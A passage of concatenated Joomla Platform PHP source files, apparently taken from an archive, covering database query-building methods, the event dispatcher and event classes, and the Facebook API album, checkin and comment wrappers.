RuntimeException('JLIB_DATABASE_ERROR_INVALID_DB_OBJECT');
}
$result = $this->db->getNullDate($quoted);
if ($quoted)
{
return $this->db->quote($result);
}
return $result;
}
/**
* Add an ordering column to the ORDER clause of the query.
*
* Usage:
* $query->order('foo')->order('bar');
* $query->order(array('foo','bar'));
*
* @param mixed $columns A string or array of ordering columns.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function order($columns)
{
if (is_null($this->order))
{
$this->order = new JDatabaseQueryElement('ORDER BY',
$columns);
}
else
{
$this->order->append($columns);
}
return $this;
}
/**
* Add an OUTER JOIN clause to the query.
*
* Usage:
* $query->outerJoin('b ON b.id =
a.id')->outerJoin('c ON c.id = b.id');
*
* @param string $condition The join condition.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function outerJoin($condition)
{
$this->join('OUTER', $condition);
return $this;
}
/**
* Method to quote and optionally escape a string to database requirements
for insertion into the database.
*
* This method is provided for use where the query object is passed to a
function for modification.
* If you have direct access to the database object, it is recommended you
use the quote method directly.
*
* Note that 'q' is an alias for this method as it is in
JDatabaseDriver.
*
* Usage:
* $query->quote('fulltext');
* $query->q('fulltext');
* $query->q(array('option', 'fulltext'));
*
* @param mixed $text A string or an array of strings to quote.
* @param boolean $escape True to escape the string, false to leave it
unchanged.
*
* @return string The quoted input string.
*
* @since 1.7.0
* @throws RuntimeException if the internal db property is not a valid
object.
*/
public function quote($text, $escape = true)
{
if (!($this->db instanceof JDatabaseDriver))
{
throw new
RuntimeException('JLIB_DATABASE_ERROR_INVALID_DB_OBJECT');
}
return $this->db->quote($text, $escape);
}
/**
* Wrap an SQL statement identifier name such as column, table or database
names in quotes to prevent injection
* risks and reserved word conflicts.
*
* This method is provided for use where the query object is passed to a
function for modification.
* If you have direct access to the database object, it is recommended you
use the quoteName method directly.
*
* Note that 'qn' is an alias for this method as it is in
JDatabaseDriver.
*
* Usage:
* $query->quoteName('#__a');
* $query->qn('#__a');
*
* @param mixed $name The identifier name to wrap in quotes, or an
array of identifier names to wrap in quotes.
* Each type supports dot-notation name.
* @param mixed $as The AS query part associated to $name. It can be
string or array, in latter case it has to be
* same length of $name; if is null there will not
be any AS part for string or array element.
*
* @return mixed The quote wrapped name, same type of $name.
*
* @since 1.7.0
* @throws RuntimeException if the internal db property is not a valid
object.
*/
public function quoteName($name, $as = null)
{
if (!($this->db instanceof JDatabaseDriver))
{
throw new
RuntimeException('JLIB_DATABASE_ERROR_INVALID_DB_OBJECT');
}
return $this->db->quoteName($name, $as);
}
/**
* Add a RIGHT JOIN clause to the query.
*
* Usage:
* $query->rightJoin('b ON b.id =
a.id')->rightJoin('c ON c.id = b.id');
*
* @param string $condition The join condition.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function rightJoin($condition)
{
$this->join('RIGHT', $condition);
return $this;
}
/**
* Add a single column, or array of columns to the SELECT clause of the
query.
*
* Note that you must not mix insert, update, delete and select method
calls when building a query.
* The select method can, however, be called multiple times in the same
query.
*
* Usage:
* $query->select('a.*')->select('b.id');
* $query->select(array('a.*', 'b.id'));
*
* @param mixed $columns A string or an array of field names.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function select($columns)
{
$this->type = 'select';
if (is_null($this->select))
{
$this->select = new JDatabaseQueryElement('SELECT',
$columns);
}
else
{
$this->select->append($columns);
}
return $this;
}
/**
* Add a single condition string, or an array of strings to the SET clause
of the query.
*
* Usage:
* $query->set('a = 1')->set('b = 2');
* $query->set(array('a = 1', 'b = 2');
*
* @param mixed $conditions A string or array of string conditions.
* @param string $glue The glue by which to join the condition
strings. Defaults to ,.
* Note that the glue is set on first use
and cannot be changed.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function set($conditions, $glue = ',')
{
if (is_null($this->set))
{
$glue = strtoupper($glue);
$this->set = new JDatabaseQueryElement('SET', $conditions,
"\n\t$glue ");
}
else
{
$this->set->append($conditions);
}
return $this;
}
/**
* Allows a direct query to be provided to the database
* driver's setQuery() method, but still allow queries
* to have bounded variables.
*
* Usage:
* $query->setQuery('select * from #__users');
*
* @param mixed $sql An SQL Query
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 3.0.0
*/
public function setQuery($sql)
{
$this->sql = $sql;
return $this;
}
/**
* Add a table name to the UPDATE clause of the query.
*
* Note that you must not mix insert, update, delete and select method
calls when building a query.
*
* Usage:
* $query->update('#__foo')->set(...);
*
* @param string $table A table to update.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function update($table)
{
$this->type = 'update';
$this->update = new JDatabaseQueryElement('UPDATE', $table);
return $this;
}
/**
* Adds a tuple, or array of tuples that would be used as values for an
INSERT INTO statement.
*
* Usage:
* $query->values('1,2,3')->values('4,5,6');
* $query->values(array('1,2,3', '4,5,6'));
*
* @param string $values A single tuple, or array of tuples.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function values($values)
{
if (is_null($this->values))
{
$this->values = new JDatabaseQueryElement('()', $values,
'),(');
}
else
{
$this->values->append($values);
}
return $this;
}
/**
* Add a single condition, or an array of conditions to the WHERE clause
of the query.
*
* Usage:
* $query->where('a = 1')->where('b = 2');
* $query->where(array('a = 1', 'b = 2'));
*
* @param mixed $conditions A string or array of where conditions.
* @param string $glue The glue by which to join the conditions.
Defaults to AND.
* Note that the glue is set on first use
and cannot be changed.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function where($conditions, $glue = 'AND')
{
if (is_null($this->where))
{
$glue = strtoupper($glue);
$this->where = new JDatabaseQueryElement('WHERE',
$conditions, " $glue ");
}
else
{
$this->where->append($conditions);
}
return $this;
}
/**
* Extend the WHERE clause with a single condition or an array of
conditions, with a potentially
* different logical operator from the one in the current WHERE clause.
*
* Usage:
* $query->where(array('a = 1', 'b =
2'))->extendWhere('XOR', array('c = 3', 'd
= 4'));
* will produce: WHERE ((a = 1 AND b = 2) XOR (c = 3 AND d = 4)
*
* @param string $outerGlue The glue by which to join the conditions
to the current WHERE conditions.
* @param mixed $conditions A string or array of WHERE conditions.
* @param string $innerGlue The glue by which to join the conditions.
Defaults to AND.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 3.6
*/
public function extendWhere($outerGlue, $conditions, $innerGlue =
'AND')
{
// Replace the current WHERE with a new one which has the old one as an
unnamed child.
$this->where = new JDatabaseQueryElement('WHERE',
$this->where->setName('()'), " $outerGlue ");
// Append the new conditions as a new unnamed child.
$this->where->append(new JDatabaseQueryElement('()',
$conditions, " $innerGlue "));
return $this;
}
/**
* Extend the WHERE clause with an OR and a single condition or an array
of conditions.
*
* Usage:
* $query->where(array('a = 1', 'b =
2'))->orWhere(array('c = 3', 'd = 4'));
* will produce: WHERE ((a = 1 AND b = 2) OR (c = 3 AND d = 4)
*
* @param mixed $conditions A string or array of WHERE conditions.
* @param string $glue The glue by which to join the conditions.
Defaults to AND.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 3.6
*/
public function orWhere($conditions, $glue = 'AND')
{
return $this->extendWhere('OR', $conditions, $glue);
}
/**
* Extend the WHERE clause with an AND and a single condition or an array
of conditions.
*
* Usage:
* $query->where(array('a = 1', 'b =
2'))->andWhere(array('c = 3', 'd = 4'));
* will produce: WHERE ((a = 1 AND b = 2) AND (c = 3 OR d = 4)
*
* @param mixed $conditions A string or array of WHERE conditions.
* @param string $glue The glue by which to join the conditions.
Defaults to OR.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 3.6
*/
public function andWhere($conditions, $glue = 'OR')
{
return $this->extendWhere('AND', $conditions, $glue);
}
/**
* Method to provide deep copy support to nested objects and
* arrays when cloning.
*
* @return void
*
* @since 1.7.3
*/
public function __clone()
{
foreach ($this as $k => $v)
{
if ($k === 'db')
{
continue;
}
if (is_object($v) || is_array($v))
{
$this->{$k} = unserialize(serialize($v));
}
}
}
/**
* Add a query to UNION with the current query.
* Multiple unions each require separate statements and create an array of
unions.
*
* Usage (the $query base query MUST be a select query):
* $query->union('SELECT name FROM #__foo')
* $query->union('SELECT name FROM #__foo', true)
* $query->union($query2)->union($query3)
*
* The $query attribute as an array is deprecated and will not be
supported in 4.0.
*
* $query->union(array('SELECT name FROM
#__foo','SELECT name FROM #__bar'))
* $query->union(array($query2, $query3))
*
* @param mixed $query The JDatabaseQuery object or string to
union.
* @param boolean $distinct True to only return distinct rows from the
union.
* @param string $glue The glue by which to join the conditions.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @link http://dev.mysql.com/doc/refman/5.0/en/union.html
*
* @since 3.0.0
*/
public function union($query, $distinct = false, $glue = '')
{
// Set up the DISTINCT flag, the name with parentheses, and the glue.
if ($distinct)
{
$name = 'UNION DISTINCT ()';
$glue = ')' . PHP_EOL . 'UNION DISTINCT (';
}
else
{
$glue = ')' . PHP_EOL . 'UNION (';
$name = 'UNION ()';
}
if (is_array($query))
{
JLog::add('Query attribute as an array is deprecated.',
JLog::WARNING, 'deprecated');
}
// Get the JDatabaseQueryElement if it does not exist
if (is_null($this->union))
{
$this->union = new JDatabaseQueryElement($name, $query,
"$glue");
}
// Otherwise append the second UNION.
else
{
$this->union->append($query);
}
return $this;
}
/**
* Add a query to UNION DISTINCT with the current query. Simply a proxy to
union with the DISTINCT keyword.
*
* Usage:
* $query->unionDistinct('SELECT name FROM #__foo')
*
* @param mixed $query The JDatabaseQuery object or string to union.
* @param string $glue The glue by which to join the conditions.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @see union
*
* @since 3.0.0
* @deprecated 4.0 Use union() instead.
*/
public function unionDistinct($query, $glue = '')
{
$distinct = true;
// Apply the distinct flag to the union.
return $this->union($query, $distinct, $glue);
}
/**
* Find and replace sprintf-like tokens in a format string.
* Each token takes one of the following forms:
* %% - A literal percent character.
* %[t] - Where [t] is a type specifier.
* %[n]$[x] - Where [n] is an argument specifier and [t] is a type
specifier.
*
* Types:
* a - Numeric: Replacement text is coerced to a numeric type but not
quoted or escaped.
* e - Escape: Replacement text is passed to $this->escape().
* E - Escape (extra): Replacement text is passed to $this->escape()
with true as the second argument.
* n - Name Quote: Replacement text is passed to $this->quoteName().
* q - Quote: Replacement text is passed to $this->quote().
* Q - Quote (no escape): Replacement text is passed to $this->quote()
with false as the second argument.
* r - Raw: Replacement text is used as-is. (Be careful)
*
* Date Types:
* - Replacement text automatically quoted (use uppercase for Name Quote).
* - Replacement text should be a string in date format or name of a date
column.
* y/Y - Year
* m/M - Month
* d/D - Day
* h/H - Hour
* i/I - Minute
* s/S - Second
*
* Invariable Types:
* - Takes no argument.
* - Argument index not incremented.
* t - Replacement text is the result of $this->currentTimestamp().
* z - Replacement text is the result of $this->nullDate(false).
* Z - Replacement text is the result of $this->nullDate(true).
*
* Usage:
* $query->format('SELECT %1$n FROM %2$n WHERE %3$n = %4$a',
'foo', '#__foo', 'bar', 1);
* Returns: SELECT `foo` FROM `#__foo` WHERE `bar` = 1
*
* Notes:
* The argument specifier is optional but recommended for clarity.
* The argument index used for unspecified tokens is incremented only when
used.
*
* @param string $format The formatting string.
*
* @return string Returns a string produced according to the formatting
string.
*
* @since 3.1.4
*/
public function format($format)
{
$query = $this;
$args = array_slice(func_get_args(), 1);
array_unshift($args, null);
$i = 1;
$func = function ($match) use ($query, $args, &$i)
{
if (isset($match[6]) && $match[6] == '%')
{
return '%';
}
// No argument required, do not increment the argument index.
switch ($match[5])
{
case 't':
return $query->currentTimestamp();
break;
case 'z':
return $query->nullDate(false);
break;
case 'Z':
return $query->nullDate(true);
break;
}
// Increment the argument index only if argument specifier not provided.
$index = is_numeric($match[4]) ? (int) $match[4] : $i++;
if (!$index || !isset($args[$index]))
{
// TODO - What to do? sprintf() throws a Warning in these cases.
$replacement = '';
}
else
{
$replacement = $args[$index];
}
switch ($match[5])
{
case 'a':
return 0 + $replacement;
break;
case 'e':
return $query->escape($replacement);
break;
case 'E':
return $query->escape($replacement, true);
break;
case 'n':
return $query->quoteName($replacement);
break;
case 'q':
return $query->quote($replacement);
break;
case 'Q':
return $query->quote($replacement, false);
break;
case 'r':
return $replacement;
break;
// Dates
case 'y':
return $query->year($query->quote($replacement));
break;
case 'Y':
return $query->year($query->quoteName($replacement));
break;
case 'm':
return $query->month($query->quote($replacement));
break;
case 'M':
return $query->month($query->quoteName($replacement));
break;
case 'd':
return $query->day($query->quote($replacement));
break;
case 'D':
return $query->day($query->quoteName($replacement));
break;
case 'h':
return $query->hour($query->quote($replacement));
break;
case 'H':
return $query->hour($query->quoteName($replacement));
break;
case 'i':
return $query->minute($query->quote($replacement));
break;
case 'I':
return $query->minute($query->quoteName($replacement));
break;
case 's':
return $query->second($query->quote($replacement));
break;
case 'S':
return $query->second($query->quoteName($replacement));
break;
}
return '';
};
/**
* Regexp to find and replace all tokens.
* Matched fields:
* 0: Full token
* 1: Everything following '%'
* 2: Everything following '%' unless '%'
* 3: Argument specifier and '$'
* 4: Argument specifier
* 5: Type specifier
* 6: '%' if full token is '%%'
*/
return
preg_replace_callback('#%(((([\d]+)\$)?([aeEnqQryYmMdDhHiIsStzZ]))|(%))#',
$func, $format);
}
/**
* Add to the current date and time.
* Usage:
* $query->select($query->dateAdd());
* Prefixing the interval with a - (negative sign) will cause subtraction
to be used.
* Note: Not all drivers support all units.
*
* @param string $date The db quoted string representation of the
date to add to. May be date or datetime
* @param string $interval The string representation of the
appropriate number of units
* @param string $datePart The part of the date to perform the
addition on
*
* @return string The string with the appropriate sql for addition of
dates
*
* @link
http://dev.mysql.com/doc/refman/5.1/en/date-and-time-functions.html#function_date-add
* @since 3.2.0
*/
public function dateAdd($date, $interval, $datePart)
{
return 'DATE_ADD(' . $date . ', INTERVAL ' .
$interval . ' ' . $datePart . ')';
}
/**
* Add a query to UNION ALL with the current query.
* Multiple unions each require separate statements and create an array of
unions.
*
* Usage:
* $query->union('SELECT name FROM #__foo')
*
* The $query attribute as an array is deprecated and will not be
supported in 4.0.
*
* $query->union(array('SELECT name FROM
#__foo','SELECT name FROM #__bar'))
*
* @param mixed $query The JDatabaseQuery object or string to
union.
* @param boolean $distinct Not used - ignored.
* @param string $glue Not used - ignored.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @see union
*
* @since 3.2.0
*/
public function unionAll($query, $distinct = false, $glue = '')
{
$glue = ')' . PHP_EOL . 'UNION ALL (';
$name = 'UNION ALL ()';
if (is_array($query))
{
JLog::add('Query attribute as an array is deprecated.',
JLog::WARNING, 'deprecated');
}
// Get the JDatabaseQueryElement if it does not exist
if (is_null($this->unionAll))
{
$this->unionAll = new JDatabaseQueryElement($name, $query,
"$glue");
}
// Otherwise append the second UNION.
else
{
$this->unionAll->append($query);
}
return $this;
}
/**
* Validate arguments which are passed to selectRowNumber method and set
up common variables.
*
* @param string $orderBy An expression of ordering for
window function.
* @param string $orderColumnAlias An alias for new ordering column.
*
* @return void
*
* @since 3.7.0
* @throws RuntimeException
*/
protected function validateRowNumber($orderBy, $orderColumnAlias)
{
if ($this->selectRowNumber)
{
throw new RuntimeException("Method 'selectRowNumber' can
be called only once per instance.");
}
$this->type = 'select';
$this->selectRowNumber = array(
'orderBy' => $orderBy,
'orderColumnAlias' => $orderColumnAlias,
);
}
/**
* Return the number of the current row.
*
* Usage:
* $query->select('id');
* $query->selectRowNumber('ordering,publish_up DESC',
'new_ordering');
* $query->from('#__content');
*
* @param string $orderBy An expression of ordering for
window function.
* @param string $orderColumnAlias An alias for new ordering column.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 3.7.0
* @throws RuntimeException
*/
public function selectRowNumber($orderBy, $orderColumnAlias)
{
$this->validateRowNumber($orderBy, $orderColumnAlias);
$this->select("ROW_NUMBER() OVER (ORDER BY $orderBy) AS
$orderColumnAlias");
return $this;
}
}
event/dispatcher.php000064400000013410151171674100010526 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Event
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Class to handle dispatching of events.
*
* This is the Observable part of the Observer design pattern
* for the event architecture.
*
* @see JPlugin
* @since 3.0.0
* @deprecated 4.0 The CMS' Event classes will be replaced with the
`joomla/event` package
*/
class JEventDispatcher extends JObject
{
/**
* An array of Observer objects to notify
*
* @var array
* @since 3.0.0
*/
protected $_observers = array();
/**
* The state of the observable object
*
* @var mixed
* @since 3.0.0
*/
protected $_state = null;
/**
* A multi dimensional array of [function][] = key for observers
*
* @var array
* @since 3.0.0
*/
protected $_methods = array();
/**
* Stores the singleton instance of the dispatcher.
*
* @var JEventDispatcher
* @since 3.0.0
*/
protected static $instance = null;
/**
* Returns the global Event Dispatcher object, only creating it
* if it doesn't already exist.
*
* @return JEventDispatcher The EventDispatcher object.
*
* @since 3.0.0
*/
public static function getInstance()
{
if (self::$instance === null)
{
self::$instance = new static;
}
return self::$instance;
}
/**
* Get the state of the JEventDispatcher object
*
* @return mixed The state of the object.
*
* @since 3.0.0
*/
public function getState()
{
return $this->_state;
}
/**
* Registers an event handler to the event dispatcher
*
* @param string $event Name of the event to register handler for
* @param string $handler Name of the event handler
*
* @return void
*
* @since 3.0.0
* @throws InvalidArgumentException
*/
public function register($event, $handler)
{
// Are we dealing with a class or callback type handler?
if (is_callable($handler))
{
// Ok, function type event handler... let's attach it.
$method = array('event' => $event, 'handler'
=> $handler);
$this->attach($method);
}
elseif (class_exists($handler))
{
// Ok, class type event handler... let's instantiate and attach it.
$this->attach(new $handler($this));
}
else
{
throw new InvalidArgumentException('Invalid event handler.');
}
}
/**
* Triggers an event by dispatching arguments to all observers that handle
* the event and returning their return values.
*
* @param string $event The event to trigger.
* @param array $args An array of arguments.
*
* @return array An array of results from each function call.
*
* @since 3.0.0
*/
public function trigger($event, $args = array())
{
$result = array();
/*
* If no arguments were passed, we still need to pass an empty array to
* the call_user_func_array function.
*/
$args = (array) $args;
$event = strtolower($event);
// Check if any plugins are attached to the event.
if (!isset($this->_methods[$event]) ||
empty($this->_methods[$event]))
{
// No Plugins Associated To Event!
return $result;
}
// Loop through all plugins having a method matching our event
foreach ($this->_methods[$event] as $key)
{
// Check if the plugin is present.
if (!isset($this->_observers[$key]))
{
continue;
}
// Fire the event for an object based observer.
if (is_object($this->_observers[$key]))
{
$args['event'] = $event;
$value = $this->_observers[$key]->update($args);
}
// Fire the event for a function based observer.
elseif (is_array($this->_observers[$key]))
{
$value =
call_user_func_array($this->_observers[$key]['handler'],
array_values($args));
}
if (isset($value))
{
$result[] = $value;
}
}
return $result;
}
/**
* Attach an observer object
*
* @param object $observer An observer object to attach
*
* @return void
*
* @since 3.0.0
*/
public function attach($observer)
{
if (is_array($observer))
{
if (!isset($observer['handler']) ||
!isset($observer['event']) ||
!is_callable($observer['handler']))
{
return;
}
// Make sure we haven't already attached this array as an observer
foreach ($this->_observers as $check)
{
if (is_array($check) && $check['event'] ===
$observer['event'] && $check['handler'] ===
$observer['handler'])
{
return;
}
}
$this->_observers[] = $observer;
$methods = array($observer['event']);
}
else
{
if (!($observer instanceof JEvent))
{
return;
}
// Make sure we haven't already attached this object as an observer
$class = get_class($observer);
foreach ($this->_observers as $check)
{
if ($check instanceof $class)
{
return;
}
}
$this->_observers[] = $observer;
$methods = array_diff(get_class_methods($observer),
get_class_methods('JPlugin'));
}
end($this->_observers);
$key = key($this->_observers);
foreach ($methods as $method)
{
$method = strtolower($method);
if (!isset($this->_methods[$method]))
{
$this->_methods[$method] = array();
}
$this->_methods[$method][] = $key;
}
}
/**
* Detach an observer object
*
* @param object $observer An observer object to detach.
*
* @return boolean True if the observer object was detached.
*
* @since 3.0.0
*/
public function detach($observer)
{
$retval = false;
$key = array_search($observer, $this->_observers);
if ($key !== false)
{
unset($this->_observers[$key]);
$retval = true;
foreach ($this->_methods as &$method)
{
$k = array_search($key, $method);
if ($k !== false)
{
unset($method[$k]);
}
}
}
return $retval;
}
}
event/event.php000064400000003356151171674100007531 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Event
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* JEvent Class
*
* @since 1.5
* @deprecated 4.0 The CMS' Event classes will be replaced with the
`joomla/event` package
*/
abstract class JEvent extends JObject
{
/**
* Event object to observe.
*
* @var object
* @since 2.5
*/
protected $_subject = null;
/**
* Constructor
*
* @param object &$subject The object to observe.
*
* @since 2.5
*/
public function __construct(&$subject)
{
// Register the observer ($this) so we can be notified
$subject->attach($this);
// Set the subject to observe
$this->_subject = &$subject;
}
/**
* Method to trigger events.
* The method first generates the even from the argument array. Then it
unsets the argument
* since the argument has no bearing on the event handler.
* If the method exists it is called and returns its return value. If it
does not exist it
* returns null.
*
* @param array &$args Arguments
*
* @return mixed Routine return value
*
* @since 1.5
*/
public function update(&$args)
{
// First let's get the event from the argument array. Next we will
unset the
// event argument as it has no bearing on the method to handle the event.
$event = $args['event'];
unset($args['event']);
/*
* If the method to handle an event exists, call it and return its return
* value. If it does not exist, return null.
*/
if (method_exists($this, $event))
{
return call_user_func_array(array($this, $event), array_values($args));
}
}
}
facebook/album.php000064400000014121151171674100010130 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Facebook API Album class for the Joomla Platform.
*
* @link http://developers.facebook.com/docs/reference/api/album/
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
class JFacebookAlbum extends JFacebookObject
{
/**
* Method to get an album. Requires authentication and user_photos or
friends_photos permission for private photos.
*
* @param string $album The album id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getAlbum($album)
{
return $this->get($album);
}
/**
* Method to get the photos contained in this album. Requires
authentication and user_photos or friends_photos permission for private
photos.
*
* @param string $album The album id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getPhotos($album, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($album, 'photos', '',
$limit, $offset, $until, $since);
}
/**
* Method to add photos to an album. Note: check can_upload flag first.
Requires authentication and publish_stream permission.
*
* @param string $album The album id.
* @param string $source Path to photo.
* @param string $message Photo description.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createPhoto($album, $source, $message = null)
{
// Set POST request parameters.
$data = array();
$data[basename($source)] = '@' . realpath($source);
if ($message)
{
$data['message'] = $message;
}
return $this->createConnection($album, 'photos', $data,
array('Content-Type' => 'multipart/form-data'));
}
/**
* Method to get an album's comments. Requires authentication and
user_photos or friends_photos permission for private photos.
*
* @param string $album The album id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getComments($album, $limit = 0, $offset = 0, $until =
null, $since = null)
{
return $this->getConnection($album, 'comments',
'', $limit, $offset, $until, $since);
}
/**
* Method to comment on an album. Requires authentication and
publish_stream permission.
*
* @param string $album The album id.
* @param string $message The comment's text.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createComment($album, $message)
{
// Set POST request parameters.
$data = array();
$data['message'] = $message;
return $this->createConnection($album, 'comments', $data);
}
/**
* Method to delete a comment. Requires authentication and publish_stream
permission.
*
* @param string $comment The comment's id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteComment($comment)
{
return $this->deleteConnection($comment);
}
/**
* Method to get album's likes. Requires authentication and
user_photos or friends_photos permission for private photos.
*
* @param string $album The album id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getLikes($album, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($album, 'likes', '',
$limit, $offset, $until, $since);
}
/**
* Method to like an album. Requires authentication and publish_stream
permission.
*
* @param string $album The album id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function createLike($album)
{
return $this->createConnection($album, 'likes');
}
/**
* Method to unlike an album. Requires authentication and publish_stream
permission.
*
* @param string $album The album id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteLike($album)
{
return $this->deleteConnection($album, 'likes');
}
/**
* Method to get the album's cover photo, the first picture uploaded
to an album becomes the cover photo for the album.
* Requires authentication and user_photos or friends_photos permission
for private photos.
*
* @param string $album The album id.
* @param boolean $redirect If false this will return the URL of the
picture without a 302 redirect.
*
* @return string URL of the picture.
*
* @since 3.2.0
*/
public function getPicture($album, $redirect = true)
{
$extra_fields = '';
if ($redirect == false)
{
$extra_fields = '?redirect=false';
}
return $this->getConnection($album, 'picture',
$extra_fields);
}
}
facebook/checkin.php000064400000010107151171674100010434 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Facebook API Checkin class for the Joomla Platform.
*
* @link http://developers.facebook.com/docs/reference/api/checkin/
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
class JFacebookCheckin extends JFacebookObject
{
/**
* Method to get a checkin. Requires authentication and user_checkins or
friends_checkins permission.
*
* @param string $checkin The checkin id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getCheckin($checkin)
{
return $this->get($checkin);
}
/**
* Method to get a checkin's comments. Requires authentication and
user_checkins or friends_checkins permission.
*
* @param string $checkin The checkin id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getComments($checkin, $limit=0, $offset=0, $until=null,
$since=null)
{
return $this->getConnection($checkin, 'comments',
'', $limit, $offset, $until, $since);
}
/**
* Method to post a comment to the checkin. Requires authentication and
publish_stream and user_checkins or friends_checkins permission.
*
* @param string $checkin The checkin id.
* @param string $message The checkin's text.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createComment($checkin, $message)
{
// Set POST request parameters.
$data = array();
$data['message'] = $message;
return $this->createConnection($checkin, 'comments', $data);
}
/**
* Method to delete a comment. Requires authentication and publish_stream
permission.
*
* @param string $comment The comment's id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function deleteComment($comment)
{
return $this->deleteConnection($comment);
}
/**
* Method to get a checkin's likes. Requires authentication and
user_checkins or friends_checkins permission.
*
* @param string $checkin The checkin id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getLikes($checkin, $limit=0, $offset=0, $until=null,
$since=null)
{
return $this->getConnection($checkin, 'likes', '',
$limit, $offset, $until, $since);
}
/**
* Method to like a checkin. Requires authentication and publish_stream
and user_checkins or friends_checkins permission.
*
* @param string $checkin The checkin id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createLike($checkin)
{
return $this->createConnection($checkin, 'likes');
}
/**
* Method to unlike a checkin. Requires authentication and publish_stream
permission.
*
* @param string $checkin The checkin id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function deleteLike($checkin)
{
return $this->deleteConnection($checkin, 'likes');
}
}
facebook/comment.php000064400000007430151171674100010477 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Facebook API Comment class for the Joomla Platform.
*
* @link http://developers.facebook.com/docs/reference/api/Comment/
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
class JFacebookComment extends JFacebookObject
{
/**
* Method to get a comment. Requires authentication.
*
* @param string $comment The comment id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getComment($comment)
{
return $this->get($comment);
}
/**
* Method to delete a comment. Requires authentication and publish_stream
permission.
*
* @param string $comment The comment id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteComment($comment)
{
return $this->deleteConnection($comment);
}
/**
* Method to get a comment's comments. Requires authentication.
*
* @param string $comment The comment id.
